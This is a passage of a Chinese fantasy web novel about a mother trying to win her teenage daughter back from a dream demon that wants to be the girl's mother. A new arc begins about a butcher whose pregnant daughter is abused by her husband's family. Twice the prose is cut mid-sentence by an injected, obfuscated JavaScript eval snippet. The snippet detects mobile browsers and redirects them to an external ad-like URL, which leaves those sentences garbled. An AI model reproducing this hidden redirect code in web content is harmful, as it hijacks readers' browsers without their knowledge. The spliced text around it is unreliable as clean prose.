“大师,大师。”发现白起失踪后,刘书雪开始四下寻找。 许奈见她不来,又一次出现在她面前,催促道:“妈妈,你快来找我啊。” 她再也顾不上找白起,追着许奈过去。 穿过白光,刘书雪发现自己回到了家中……又或者说,是回到了以前。 家门开了,刘书雪看到自己从外面回来。 许奈听见动静,从屋内跑出来,迎上去,张开手想要拥抱:“妈妈,你下班了。” 刘书雪却避开她的拥抱:“等妈妈洗手消毒再抱你好不好?” 她听见许奈低落的声音:“好。” 刘书雪去洗手间洗手消毒,许奈在一旁等着,却被外婆叫去干活:“奈奈,帮我把碗筷拿过去,我们准备吃饭了。” “好。”许奈从碗橱拿出筷子和碗,摆在桌子上。 刘书雪洗完手过来,两人已经将饭菜准备好,便顺势坐下吃饭。 吃完饭,许奈想和刘书雪玩上一会儿,却被外婆抱住:“奈奈乖,妈妈上班很累的,不要打扰妈妈休息。” “好吧。”许奈很听话,自己坐在客厅玩玩具,不去打扰刘书雪。 看完这些过去,刘书雪感觉到巨大的失落将自己团团包裹。 她长大太久了,久到已经忘记,自己也曾是个想要妈妈一直陪在身边,只围着自己转的孩子。 她以为只是少了一个不重要的拥抱,却没想到许奈会这么难过。 她走到许奈身边,想蹲下抱抱她,却看到许奈正拿着两个洋娃娃,将她们抱在一起。 此时此刻,刘书雪特别想穿回过去,紧紧抱住女儿,补上这一个拥抱。 但幻境是幻境,她只能做一个看客,跟在女儿身旁,看着自己欠下女儿一分又一分的母爱。 这还只是开始。 在不知道陪着许奈经历过多少次冷落后,刘书雪终于迎来了母女间新的感情转机。 外婆去世了。 原本的稳定的生活被打破,刘书雪不得不同时承担起工作和家庭。 两者中,她肯定会疏忽其中一方。 她是医者,她必须对患者负责,所以只能委屈女儿。 许奈第一次来月经,哭着给她打电话,问她自己是不是要死了的时候,刘书雪意识到自己对许奈欠下很多教育。 她给许奈恶补了许多知识,又给她报了各种辅导班,将她的课余时间全部占据。 她是怕许奈年纪小,被外界不良因素影响走上错路。 却没考虑到,许奈在其中承担了多少压力。 许奈试图向她寻求安慰:“妈妈,我周末不想去辅导班了,我想和你一起去游乐场玩。” 她却说:“奈奈乖,妈妈明天没时间,之前的辅导班不想去的话,给你换一个怎么样,你想不想学围棋?” 自那以后,许奈多了一个围棋辅导班,也不再提起出去玩的事情。 渐渐地,母女两人都习惯了这种生活模式。 许奈逐渐变得沉默寡言,不复孩童时的欢快。 她把这种转变归结为许奈长大懂事了。 这种乖巧一直持续到许奈上高中。 母女两人开始频繁爆发出争吵,最严重的一次还是不久前,那次情书事件。 她跟在许奈身边,看到许奈的同学把做好的情书道具放在许奈桌子上:“奈奈,你能不能帮我们准备一些道具?我们表演的时候还要读上面的台词,你的字比我们的好看,读起来不会卡。” 不过是费点笔墨和时间的事情,许奈没有拒绝:“好啊。” 于是她把情书带回家,戴着耳机听着歌把那些情书写好。 接着就是她拿钥匙开门,将情书撕碎,许奈受不了离家出走的一幕。 冲动是魔鬼。 她当时情绪上头,根本听不进许奈的解释,心里更愿意相信那些解释都是隐藏早恋的借口。 刘书雪很想说对不起。 但可惜,许奈听不见。 她跟在许奈身边,看到许奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095772|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光着脚坐在楼下的椅子上哭。 不知道过了多久,一个看不清脸的鬼怪出现在她身边,和她说了几句话。 许奈被其蛊惑带走。 “奈奈。” 刘书雪伸手想去抓,却发现环境开始扭曲。 等一切都平静下来后。 她发现自己身处医院病房,正躺在床上,身边躺着的是她刚出生的女儿。 她又回到了那个噩梦之中。 第三次经历,刘书雪起身把许奈抱在怀里。 门开了,她抬头去看,发现女人和她长着一模一样的脸。 女人又和她抢起孩子,力气比以往还大,抢走许奈的速度变得更快。 她下床去追,在和女人第二轮争抢中,闻到一股冷香,陷入昏迷。 “奈奈。” 再醒来,刘书雪往身边看去,却只看到白起坐在她身边。 “你终于醒了。” “凛冬大师呢,那个鬼打扮成我的模样把奈奈抢走了。” “你听我说。”白起拔高音量,唬住她,“这里发生的一切都是假的,全都是梦。” “妈妈,快来找我呀,我就在鬼屋出口。” 空中又出现少女的声音,刘书雪向白起求证:“你能听到吗,奈奈在叫我。” “我听不到。” 看着他摇头,刘书雪回想起梦中所见的一切,崩溃询问:“她是不是不想要我做妈妈了。” 白起不知如何作答,口袋中的纸鹤不知什么原因自己飞起来,发着微弱的光照亮前行的路。 刘书雪看着这神奇的一幕,止住哭泣:“它是不是在给我们指路?” “跟上去看看。” 无尽的黑暗之中,小小的纸鹤发着光,如一盏明灯指引着两人逃离黑暗。 出口出现在眼前,纸鹤围着刘书雪飞了一圈,刘书雪伸出双手,纸鹤不再飞翔,落在她的手心。 她感觉出那纸鹤:“奈奈。” 从出口离开,他们回到小区楼下,长椅上躺着一个熟睡的少女。 刘书雪走过,轻轻摇晃想将她叫醒:“奈奈。” 少女紧缩眉头睡着,好像陷入梦魇。 白起提议:“我们先把她带出去再说吧。” 刘书雪却没有听,蹲下拍着许奈的背,唱了一首童谣。 白起惊奇发现,许奈眉头舒展开。 刘书雪唱了十多遍,嗓子都干了,许奈才悠悠转醒。 她看着眼前的人:“妈妈?” “奈奈。”刘书雪将许奈抱住,豆大的眼泪止不住流到许奈脸上。 “妈妈,不哭。”许奈回抱住母亲,小声安抚。 过了许久,刘书雪情绪稳定下来,才问:“你没有受伤吧?她有没有对你做什么?” 许奈摇摇头:“我跟她离开后,说想见你,她不让,就把我困在这里,还让我做噩梦。” 许奈从躺椅上下来:“我知道怎么离开,跟我走吧。” …… 回师门路上,马车里一直很热闹,话唠二师兄讲着各种各样的笑话逗凛冬开心。 说着说着,他一开心,把藏在心底的事情都抖落出来了:“上次跟师父下山吃面,我不小心醋加多了,就把面和师父换了一下,师父还以为是自己味觉出问题了,回来各种求祖师爷帮他治,他到现在都不知道那是我干的。” 他说完,发现车里安安静静。 “你们怎么不笑?” 大师兄撩起帘子下马:“师父,我们回来了。” 二师兄看到师父的面孔顿觉不妙。 “师……师父。” “去跪香。” “是……”二师兄灰溜溜跳下马车走了。 伯母跟在他后面下车,凛冬久久不动。 她想起大寒出行那天,大师兄跟她说的那句话。 “师父说不想见你。” 她不敢下车。 “怎么还不下来。” “来了。” 凛冬从马车上下来,发现伯父和伯母已经不见踪影。 “伯父呢?” “和师娘回去了。”大师兄把马拴好,从胸前掏出一只银簪子,“我看你喜欢,就把它买下来了。” 他走过来,将簪子插在凛冬头上,凛冬上手摸了摸:“谢谢。” “等下我要出门办事,你去看你二师兄跪香去吧。” “大师兄。”凛冬摘下脖子上的血珠子,“你不戴这个吗?” “不了,就让它留在你身边保护你吧。” “好。” 凛冬目送大师兄走远,才动身去看二师兄跪香。 二师兄看见她招呼,先瞟了一眼四周,见师父和大师兄不在,招呼她过去:“小师妹,快来。” 凛冬走过去,手里忽然被塞入一颗桃子。 “刚刚师父换供品的时候,我趁他不注意偷偷拿的,快吃。” 凛冬:“……” 她坐在二师兄身边,吃着桃子,看着面前那些神像,问:“你说我要是给他们上香会发生什么?” “和以前一样啊,什么都不会发生,能发生什么?” 凛冬将桃子吃完,擦干净手,给那些神像敬上三柱香。 在第三根香插入香炉中时,面前的神像忽然开裂,整个虚幻境崩盘。 23.偏印 凛冬发现自己回到了梦刚开始的时候,所有人都在。 但可能是因为经历过虚假梦境的原因,大家都不敢轻易相信彼此是真实的存在,不敢靠近。 青黛辨认出凛冬后,来到她面前:“这家伙有点难对付,在这里我的攻击不起作用。” 在梦妖的地盘,她的法术还是有点受限。 “妈妈救我!” 中央的那团白光中伸出很多触手模样的东西,缠上许奈的身体将她往白光中拖拽。 刘书雪反应过来,拉着许奈的手,却被怪物一并拖进白光中,白起想去帮忙,却被凛冬呵止:“别过去!” 他只能看着白光吸收了母女两人,显化出实体。 那是一只巨大且透明的水母。 “现在是深夜,必须在她吸收完梦力之前除掉她。”慧阳说完,在梦妖身躯还未完全舒展前,手持七星剑冲了上去。 “小心!”青黛察觉到不对,用最快的速度冲到他身前,替他挡下致命一击。 慧阳手中的七星剑被振飞,他自己也狼狈倒在地上,吐了一口血。 他用袖子擦去嘴角的血,想爬起来捡回自己的剑,却发现下半身失去知觉。 青黛过来将他搀扶起来送至凛冬身后,接着变回本体,挡在凛冬和梦妖中间:“小帅哥,趁她还没有醒,快过来我身后。” 白起捡起七星宝剑,跑回凛冬身边:“这东西到底要怎么对付?” 凛冬没回他,蹲下来给慧阳嘴里喂了一颗丹药:“还好吗?” 慧阳说服下丹药,感觉到腿传来痛意:“谢谢,不碍事,我还能继续。” “别继续了,你缓过来就带白起先离开,这里交给我和青黛来对付。” “不行,这妖太强了,我留下来还可以帮你。”慧阳拒绝凛冬的提议,看向白起:“把他送走吧。” 除掉这只妖是他的任务,哪怕战死在这里,也绝不能逃跑。 白起摇头否决:“我也不走,我留下来帮你,万一就缺我一个呢?” 他又不是纯小白,还是会一点的。 凛冬拒绝他:“不行,慧阳道长,麻烦你送他出去。” “出去?” “当我这里是什么地方?想来就来,想走就走?” “进了我的梦境,一个都别想活着出去!” 梦妖彻底苏醒过来,看到面前的青黛,幻化出一个道士模样对付她。 凛冬一眼认出梦妖所幻化的道士。 是她大师兄。 他手中持符,往青黛身上拍去,一招一式,和凛冬在蛇窟与青黛过招时如出一辙。 好在青黛修为比之前精进不少,避开了几道符,但还是受了伤。 她退回凛冬身边,检查自己身上的烫伤,发现其中端倪:“凛冬,这个道士和你什么关系?” 道士身上穿着一件道袍,上面的印记和凛冬万妖幡上的印记一模一样。 不等凛冬解释,梦妖直接对凛冬施展起自己的法术:“小师妹,快过来,来我身边。” 青黛下意识看向凛冬。 凛冬一动不动,梦妖的蛊惑术对她毫无效果。 “你明明吃了我的法术,为什么没中招?”梦妖感到奇怪,她明明亲眼看见凛冬把糖葫芦和桃子吃下去的。 “因为整个紫薇门只有我一个人用符。”擅长用剑的大师兄拿着符除妖,这还是她和大师兄认识以来头一次见到,这让她怎么信? 凛冬解释完,顺手拿起慧阳的七星剑:“这么喜欢模仿他,我可以教你两招他的剑法。” 在凛冬一套行云流水的紫薇剑法下,梦妖败下阵来。 她倒在地上,见凛冬挥剑朝自己砍来,灵机一动变成白羽,装出一副可怜无辜的模样:“阿凛!” 杀疯了的凛冬果然如她所料停下,她抓住间隙凝集梦的力量,决定和凛冬决一死战。 看到白羽眼中自己持剑的倒影,凛冬愣了片刻,才又挥动手中的剑。 这次她不再手软,将梦妖打回原形。 “不要!” 在差最后一步就能将梦妖彻底击杀时,许奈突然凭空出现,冲到梦妖梦妖面前替她挡剑。 好在凛冬反应迅速,及时收手,才没有伤害到她。 “奈奈,我不是让你走吗?为什么要回来?”梦妖变回刘书雪从地上爬起来,她不顾自己还在淌血的满身伤痕,检查许奈的身体。 见许奈没有被凛冬伤到,梦妖心里松了一口气,同时忍不住责备道:“你怎么这么莽撞,刚才要不是……你就死了知道吗?” 许奈安抚性摸摸她的脸,转过身挡在她前面:“大师,阿家她不是坏妖精,她没有杀过人,可不可以放过她。” 慧阳站起来,从凛冬手中拿回自己的七星剑:“但她用梦境偷窃了不少人类的生命,是邪妖,必须铲除,你让开。” 许奈半步都不肯让,紧盯着慧阳的动作变换身体位置保护梦妖。 见慧阳顾忌自己不敢出手,许奈为梦妖争取一个为自己辩解的机会:“阿家,他说的是真的吗?你真的偷窃了人类的生命吗?” “那是他们自愿的。我可以在梦里让他们体验他们这辈子都不可能拥有的人生,他们都是自愿出售自己的生命和我做交易。一梦可抵一世,我却只要了他们三天的寿命,这很多吗?” “刘书雪之前找的那个大师是不是你逼疯的?”凛冬问。 “他自己作的孽,和我有什么关系?他学艺不精,到处坑蒙拐骗,骗了其他人多少钱财,间接害了多少人,身上背了多少因果,我看他数都数不清了吧,我不过就是帮他数数自己身上的因果罢了,谁知道他会疯掉。” 凛冬:“……” 慧阳手中的剑并未因她的辩解松懈半分:“恶人自有上天来收,用不着你用这种方式来替天行道。” “若不是他伤害到了我的女儿,我又怎么会对他出手?他种下恶因,我就是他的现世果报。” “强词夺理。”慧阳抬剑下手,许奈张开手臂用身体去挡,对死亡的恐怖让她闭上了眼睛。 梦妖从背后将她抱在怀里,将后背转向慧阳等待死亡。 预料中的死亡没有到来,她睁开眼回头,发现凛冬徒手拦住了那把剑。 “慧阳道长,我接的生意还没做完,还请你等一等再杀她。” 慧阳看看凛冬,又看看梦妖,收了剑到一边去。 待他走远,凛冬才问:“她母亲呢?” “母亲?她让奈奈伤心难过了多少次,关心过奈奈几次,她根本不配做奈奈的母亲。” 凛冬看向许奈:“你也这么认为吗?” “我……”许奈并不能给凛冬一个干脆的答案,她看了眼身旁的阿家。 阿家对她很好,能满足她所有的愿望,还能在她难过时安慰她,陪伴她鼓励她,给她带来无数欢乐。 这样的妈妈谁不想拥有?她特别想拥有,所以才会跟着阿家跑路。 可若让她说,妈妈根本不配做她的妈妈,她又觉得说不出口。 为了给她更好的生活,妈妈总是加班熬夜,有时候刚到家,还没吃上几口饭,一个电话打过来,她就又急匆匆去上班。 她不能当白眼狼,把妈妈对她的付出装作看不见。 毕竟没有她,妈妈也不会这么辛苦。 “奈奈,你今年十六岁了,在以前女子十五及笄,代表她已经拥有明辨是非,为自己做决定的能力。”凛冬揉揉她的脑袋,“不管你最后选择谁做你的妈妈,我都会祝你和你妈妈身体健康。” 许奈想起自己欺骗凛冬那天,心有愧疚:“……对不起。” “我可以用这个为你的生母争取一下吗?”凛冬从口袋中掏出一道符,放到她手心:“请给她一个和你道歉或者道别的机会。” “这是?” “你可以凭这道符找我帮你做任何事情,我会尽全力帮你。” 许奈盯着那道符愣了一会儿,才下定决心走到梦妖面前:“我可以再和她说说话吗?阿家……妈妈,求你了。” 她抱住梦妖,轻轻蹭了蹭梦妖的脸,在她怀里像个孩子一样撒娇。 “好吧。” 梦妖本是不想的,但架不住许奈这般撒娇求她。 许奈是她的女儿。 只要女儿想要。 哪怕是天上的月亮,她也要想方设法,把月亮摘下来捧到她面前。 她心甘情愿,把她的一切都奉献给眼前这个孩子,哪怕是生命。 只求她能平安,幸福。 刘书雪被放出来,找不到女儿的崩溃,在看到许奈的那一瞬间尽数化作眼泪,她想上前紧紧抱住自己的女儿,却被梦妖狠狠推开。 “别碰她。” 刘书雪怔愣住,看着梦妖身后低着头不敢看自己的许奈,不知所措,用眼神向凛冬求助。 凛冬用简单的话为她解释现在是什么情况。 刘书雪听完后,不可置信:“大师,你的意思是,我十月怀胎生下的女儿,和我有着血缘关系的女儿,我需要争取抚养权才能做她的妈妈?” 这是多么荒谬的事情! 这只妖凭什么抢走她的女儿? “你除了是她的生母以外,还有哪里比得过我?”梦妖轻轻抚摸着许奈的头发,在看向她的时候眼中透着温柔,嘴上却咄咄逼人:“光是凭给奈奈灌符水,看着奈奈被那个骗子打伤这一点,你就不配做她的母亲。” “我为什么会去找那个骗子,难道不是因为你缠着她吗?” “和我缠着奈奈有什么关系,你自己不会分辨吗?怎么,你连自己没有分辨真假的能力也要怨我吗?” “你……”刘书雪被怼的哑口无言。 符水喝了不管用之后,她就不该再去找那个骗子的,这点梦妖说的不错,那是她的不对。 但她那时真的不知道该怎么做了,只能再去找那个大师。 刘书雪为自己辩解:“难道做母亲的就不能有一点错误吗?我也是第一次当母亲,我连改正的机会都不配拥有吗?你凭什么这么说我,奈奈是你生下来的吗?你这么想要孩子你为什么不能自己去生一个,非要抢我的女儿。” “你没当过母亲你总当过女儿吧,你小时候受过的委屈你为什么还要让奈奈再受一遍,你不能照顾她你生下她做什么?” “是我想故意忽视她吗?我要上班赚钱,你以为家里的水电和食物是从哪里来的,我要是有你的本事,我也可以不上班天天在家陪着奈奈。” “阿家,妈妈,你们别吵了。”两人吵得热火朝天,许奈在一旁根本插不进去嘴。 最后还是凛冬动手给两人禁声,现场才安静下来。 凛冬扶着许奈的肩膀将她推向前:“去吧,奈奈,告诉她们你的选择。” 许奈在两人之间犹豫了一会儿,选择走向刘书雪,凛冬随即解开两人的禁言。。 刘书雪将许奈紧紧抱住,抱了好一会儿,才开口说话:“奈奈,妈妈对不起你。” “我只顾着上班赚钱,本来是想给你好的生活,却没考虑到你想要的根本不是这些。” 在她的视角物质大于一切,但孩子不谙世事,对金钱没有什么概念,只想要简单的陪伴。 梦瑶说得对,是她错了,忘了。 小时候她也是缺少父母陪伴的孩子,她明明知道那种被忽视的孤苦,却还是让许奈经历了一遍。 她当时是不想的啊,她也想给许奈一个完整的家。 可是命运弄人…… “对不起奈奈,对不起……” “没事的,妈妈。”许奈习惯性安慰,她用自己手掌抹去刘书雪脸上滚烫的泪珠,自己也鼻尖一酸:“我不怪你。” 刘书雪听完安慰更是痛心:“明明我才是你的妈妈,是该我来安慰你,却一直都是你安慰我……我不是一个合格的妈妈。” 许奈抹去刘书雪的眼泪,将她抱住。 小时候,她真的很想让妈妈别去上班,只陪在自己身边。 现在她知道,她的希望是贪心的。 妈妈不应该因为生下她而被圈在家里,不图回报的为她付出一切。 哪怕爸爸活着,妈妈可以不用像现在一样拼命赚钱,她也没有理由让妈妈为自己失去自我。 妈妈她也有自己的人生。 以前都是她拖累妈妈了。 “妈妈,你已经好久没有好好休息了。”许奈用拇指摸着刘书雪眼下的黑眼圈,“如果没有我,你是不是就不会这么辛苦了。” 刘书雪想否认,但事实摆在眼前,许奈都看得到。 她确实辛苦,但她甘之如饴,所以她摇头:“其实,每次回到家,看到你在等我,我就不觉得辛苦。” 许奈是她的精神支柱,支撑着她打起十二分的精神上班赚钱,是她活在这个世界的意义,她真的不觉得辛苦。 许奈听完后沉默,在心中做起抉择。 刘书雪看她抉择如此之难,终于是不忍心:“奈奈,你听妈妈……我说最后几句话好不好。” “妈妈你说。” “不管你最后选择谁来做你的妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128123|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈,我都想告诉你,让你知道,我真的很感激你愿意成为我的女儿,让我体验到妈妈这个身份带来的幸福。 很抱歉,我没能尽到作为一个母亲应有的责任,让你受了不少委屈,我为之前对你的忽视向你道歉。奈奈,你跟她走,认她做妈妈吧,我相信她可以给你幸福。” 刘书雪不再为自己争取,将许奈拱手相让。 她说完,最后一次抱住女儿,良久才依依不舍放开。 她没哭,尽量装出一副冷漠的模样。 许奈大了,记事,她怕多年后许奈想起来会难受。 要断就断干净了,冷漠一点,让许奈以后想起来不会内心煎熬,这是她身为母亲,可以为女儿做的最后一件事。 梦妖没想到刘书雪会主动放弃,她想牵起许奈的手,将许奈拉到自己这边,却被许奈避开。 许奈拿出那道符:“大师,我可以现在就请你帮我吗?” “可以。” “那我要你们放过阿家,并保证永远都不会再杀她。” “不行。”慧阳又出声阻止,“凛冬,你放过她我没办法和局长交代。” “道长,刚刚要不是我们冬冬出手,你就见你祖师爷去了,哪里还有命在这里看戏。” 青黛拍拍他肩膀,把他按住,来到梦妖面前:“如果你愿意和凛冬结契,说不定能有一线生机,毕竟我们只能保证自己不杀你,不能保证别人不杀你。” 梦妖被凛冬打得伤了元气,从这里离开后再遇到其他道士,能不能活就不好说了。 阿家没有答应,只是看向许奈:“奈奈,你还愿意选我做妈妈吗?” 方才许奈躲避的举动她已经读明白了,只是想再求证一下,万一她又愿意了呢? 之前相处的那些时光,她也很喜欢不是? 许奈低着头缓缓说:“没有我,阿家还可以找别的孩子,妈妈不可以,她现在只有我了。” 十六年的母女情要怎么割舍? 她希望自己和妈妈都能幸福,跟着阿家离开她是幸福了,那妈妈呢? 四十多岁,身边没有任何亲人,妈妈要如何坚强活下去? 刚刚在梦境之中,她从妈妈的视角体验了生活的残酷。 丧夫,丧母,妈妈的命已经很苦了,她还要给妈妈这么大的打击,她良心过意不去。 她不能,也不应该这么做。 换作她是妈妈,她可能做的还不如妈妈。 “我知道了。”刘书雪的样貌在梦妖身上破碎,阿家显露出本体,来到凛冬面前,将一条触角点在凛冬眉心:“凉薄之人,我愿意和你签订契约,追随你,直到失去生命。” 契约生成,梦妖又来到许奈面前:“我不会再找其他孩子了,奈奈,我以后可以去看你吗?” 奈奈看向刘书雪,看到刘书雪点头,她才笑着说:“好。” 梦妖撤了虚幻镜,将几个人送回现实,青黛摸出口袋里的手机,发现海因打了很多电话,去阳台回电。 慧阳则是来到凛冬面前:“凛冬,我们借一步谈话。” 两人从屋子出来,在无人的楼道谈合作。 阿家这边,她忽然贴近白起,围着他转了一圈后,幻化成他长发的样子。 白起不解:“你为什么要变成我的样子?” “我变得可不是你,不信你去问凛冬。”她说完,去到许奈卧室,将窗户打开,为窗台上那盆植物注入能量:“去吧,回到他身边,把我的话带给他。” 植物将自己连根拔起,从窗户一跃而下。 看着它离开后,阿家用法力变出一棵一模一样的植物放到花盆中。 凛冬回来,见她这副模样,皱起眉:“那么多人,你为什么非要变成他?” 阿家挑眉看向白起:“那当然是因为……我,喜,欢。” 白起:“……” 青黛挂了电话走过来:“我们走吧,给她们母女一点独处的空间。” 慧阳没有开车,白起先将他送回酒店,才开车回别墅。 青黛坐在后面,通过后视镜比对白起和阿家的容貌,好奇的扒了一下阿家的衣领:“你有腹肌吗?给我看看。” 阿家护住领口,用看变态的眼神看青黛:“你干什么?凛冬,她一直都这样的吗?” 凛冬晕车睡着了,没回她。 青黛手又缠上去:“都是女的你怕什么?” 阿家找到机会钻入凛冬梦境,躲开她的魔爪。 * 高一是高中最特殊的一年。 学生刚从中考紧张的氛围中缓过来,就面临着新的考验,一个备考长达三年,改变人生命运的捷径——高考。 可暑假放松的心怎么能说收就收的回来? 许奈就是这么一个普通的高中生。 她花了一个月的时间,将班级里的同性划分成好朋友和同学两大类。 “这是我小姨从国外带回来的种子,叫愿望豆,许完愿望后将它种在花盆里,等它长出来,就能实现愿望。” 许奈猝不及防手心被塞入一颗愿望豆,她抬头,女生对她笑了一下,又将种子分享给其她姑娘。 “我们一起种种看吧。” “好啊好啊,你说我许什么愿望好啊?” “我要当律师。” “那我要当大明星。” “许奈,你想许什么愿望啊?” “啊?”许奈正看着愿望豆走神,被问起,才支支吾吾:“我还没想好。” 很快上课铃声响起,几个人不再闲聊,回到各自的位置上听课。 许奈跑神了一整节课,一直想着许愿的事情。 放学后,好朋友们都和她不顺路,她一个人背着书包坐公交车回家。 进门换鞋的时候,她习惯性喊了一声:“妈。” 家里冷冷清清,没有人回应她。 母亲回来的向来很晚,今天也毫不例外。 她回到房间,打算拿出作业先写,书包里的种子意外被课本带出来,掉在地上。 她捡起来种子,忽然想起朋友的话。 抱着试一试态度,她找来一个小小的花盆,许愿将种子种下。 “种子啊种子,我想要一个可以一直陪着我的妈妈。” 许完愿望,许奈就把花盆放在窗台不再去管,按部就班写作业,等母亲带饭回来,吃饭,洗漱,睡觉。 入夜。 月光洒在花盆上,种子破土而出,床上的少女唇角扬起,像是在做一场美梦…… 卷三《偏印》完。 24.魁罡 6:30 凛冬准时来到早市买菜。 她挑挑拣拣买了一堆蔬菜和水果后,停在一个卖肉的摊子面前。 肉摊老板是一位五十左右的男子,肩膀宽厚壮实,穿着一条黑色围裙,一副老实憨厚模样,正在为肉剔除筋膜。 感觉到有人靠近,老板停下手中的动作,抬头看到凛冬,原本平静的脸上闪现一丝慌乱。 不过很快,他就调整过来,露出一个和善微笑:“美女,要点什么,我这里的五花肉和排骨都很不错,要不要来点?” 凛冬低头看着桌子上颜色粉嫩的猪肉,点头:“各来五斤吧。” “好嘞。”老板笑盈盈为凛冬打称:“要做什么菜呀,我给你切好。” “红烧。” “好嘞。” 老板将排骨和五花肉清洗干净,收拾好装进袋子,又从一旁的盒子里拿出三个料包:“一共三百零五,收您三百吧美女,我再送你三个红烧肉料包,你回去用我这个炖肉,保证和饭店一样好吃。” “谢谢。”凛冬扫了付款码把钱支付过去,顺嘴问一句:“你不是本地人吧。” “嗯,我女儿在这里念大学,毕业后又在这里结婚定居,我索性就跟过来做点小生意,正好能陪着她。” 凛冬提起那两个装肉的塑料袋子:“你不经常见面吧,有空就去看看她,说不定她很想你呢。” “卖完这些肉我就去。” 凛冬走远之后,旁边卖鱼的老板走过来,在他摊位上挑了两根排骨放到秤上:“行啊老黄,一大早就大开张,给我也弄两根排骨,我尝尝有多新鲜。” “行。”老黄把排骨称好,拿到一旁用刀剁成块。 “你这刀看起来挺好用的,在哪里买的,我也买一把杀鱼用。” “自己磨的。” “那改天你有空帮我磨一下,我请你吃鱼。”卖鱼老板把钱付了,拎着那袋排骨回到自己摊位上。 黄书把板子上的血水处理干净,打开手机给女儿发了条消息。 女儿还没有回复,他这里就来了新客人。 今天他的生意好的出奇,没过几个小时,摊子上的肉就卖了个七七八八。 见这会儿没有客人来,他擦掉手上的油脂,准备掏手机看女儿来信说什么,忽然听到外面传来一阵骚动。 他走出来围观,看见一个男子在朝他这个方向疯狂奔跑,边跑边把摊子上的东西扯下来,挡住后面警察的脚步。 眼看男子就要逍遥法外,黄书上去阻拦,几下便将人按倒在地上制服。 后面赶来的警察拔出腰间的手铐将人铐住,向黄书表示谢意。 男子被警察带走后,人群散开。 黄书又回到自己的摊位上,他刚要打开手机,就感觉有人靠近。 抬头一看,又是凛冬。 “怎么了?” 凛冬问:“你还没有回去看你女儿吗?” 黄书觉得奇怪。 好端端的,一个从没见过的陌生人,怎么这么关心他有没有回去看女儿? “刚刚在忙,我给她发了消息,她应该回我了,我还来得及没看。” 说着,黄书打开手机。 女儿发来一条语音:“爸,救我。” “你又想跟你爸告状呢是不是,还敢告状,我打死你,让你告状!” 他是外放,语音里男人凶恶的威胁凛冬也能听见。 黄书顿时脸色一黑,他抄起摊子上的刀就要往外走,被凛冬拦住:“别冲动,我先送你去医院,看看你女儿伤势怎么样。” 黄书这才冷静下来:“好。” 凛冬将他送到医院门口,没有跟着他一起去病房,只是给了他一个药瓶:“如果伤得很重,就把这个喂给她。” “谢谢,我等下怎么联系你?”虽然不明白凛冬接近自己以及帮自己的原因,但他还是接受了那瓶药。 这些疑惑,等他看完女儿后再说。 “我们还会再见的。”凛冬说完,将车门关上,吩咐司机:“走吧,送我回堂口。” 黄书目送凛冬车子离开,转头靠着自己的感知坐电梯寻到外科住院部。 病房门口站着几个他眼熟的人,在看到他们之后,被凛冬压下去的冲动又夺回身体的控制权。 他冲过去:“何辉!” “爸,你怎么在这里?”中间个子最高的男人正和家人说着什么,看到黄书怒气冲冲过来,脸上显露出几分心虚闪躲。 黄书上来就给了他一巴掌,何辉避无可避,被他这一巴掌扇的站都站不稳。 多亏一边的人扶了一把,他才没摔在地上。 “亲家,你这是干什么。”老妇人心疼的摸着自己儿子那肉眼可见肿起来的半张脸,“有话不能好好说吗,怎么上来就打人?” “我为什么打他,你这个当妈的心里没有数吗?” 一想到自己女儿不知道被眼前这一大家子欺负了多久,黄书怒气更是上头,他揪住何辉的衣领,弄的何辉喘不上气。 “我女儿呢?” “爸,媛媛当然是在家养胎呢。”何辉心理素质不低,饶是挨了一巴掌,也面不改色撒谎。 “养胎?”黄书眼珠子瞪圆,“那我问你,病房里躺着的是谁?” 何辉依旧扯谎:“病房里躺着我妹妹啊,她来做阑尾炎手术……” 黄书刚想戳破他的谎言,主治医生就拿着病历过来:“黄媛家属是吧,你们到底签不签字,她伤的很重必须做手术治疗。” “你胡说八道什么呢,什么黄媛,你把名字写错了吧。”老妇人伸手要去捂主治医生的嘴。 主治医生避开她,一脸冷漠:“你们不是黄媛家属吗?我记得你刚刚还说要我们给她保胎来着,我再说一遍这孩子保不了,必须签字做手术打掉,不然两个人都保不住。” 见黄书已经全部听到,老妇人讪讪收回手。 “签什么字,我看看。” 黄书拿过主治医生病历,看到上面病床号,闯进病房找到病床。 床上,她的女儿戴着呼吸机和心电监护,嘴唇发紫,气息微弱,半只脚踏进鬼门关。 黄书翻到病危通知书,看到上面一条条他没听过的病名,颤抖着伸出手问跟来的主治医生要笔:“我是她父亲,我来签,在哪里签。” 主治医生将签字的地方指给他:“在这里签上你的名字和日期。我给你说一下她的病情和治疗方案吧……” 她说了一堆,黄书没听明白,只记住几个关键词。 “心脏病……很严重……马上手术治疗……引产……” 他哆嗦着将字签上,连笔一起还给主治医生:“医生,我有钱,麻烦你给她开最好的药,一定要把她治好。” “行,你先去缴费吧,缴完费后来医办室找我签手术同意书,我马上给她安排手术。” “好。”黄书应下,“我这就去交钱。” 老妇人冲进来拦住两人:“不行,不能引产,她肚子里的是我孙子,我不同意!” “床上躺着的是我女儿,我管你同不同意。”黄书拔出腰后别着的刀子架在她脖子上,“你们谁敢阻拦我女儿做手术,我绝对饶不了他。” “爸,你别激动,我们答应做手术,没有人不让做,你先把刀放下。”何辉把手搭在黄书的手背上,试图将刀从自己妈妈脖子上挪开。 黄书反手用刀尖抵向他:“等媛媛醒了,你们马上给我离婚。” 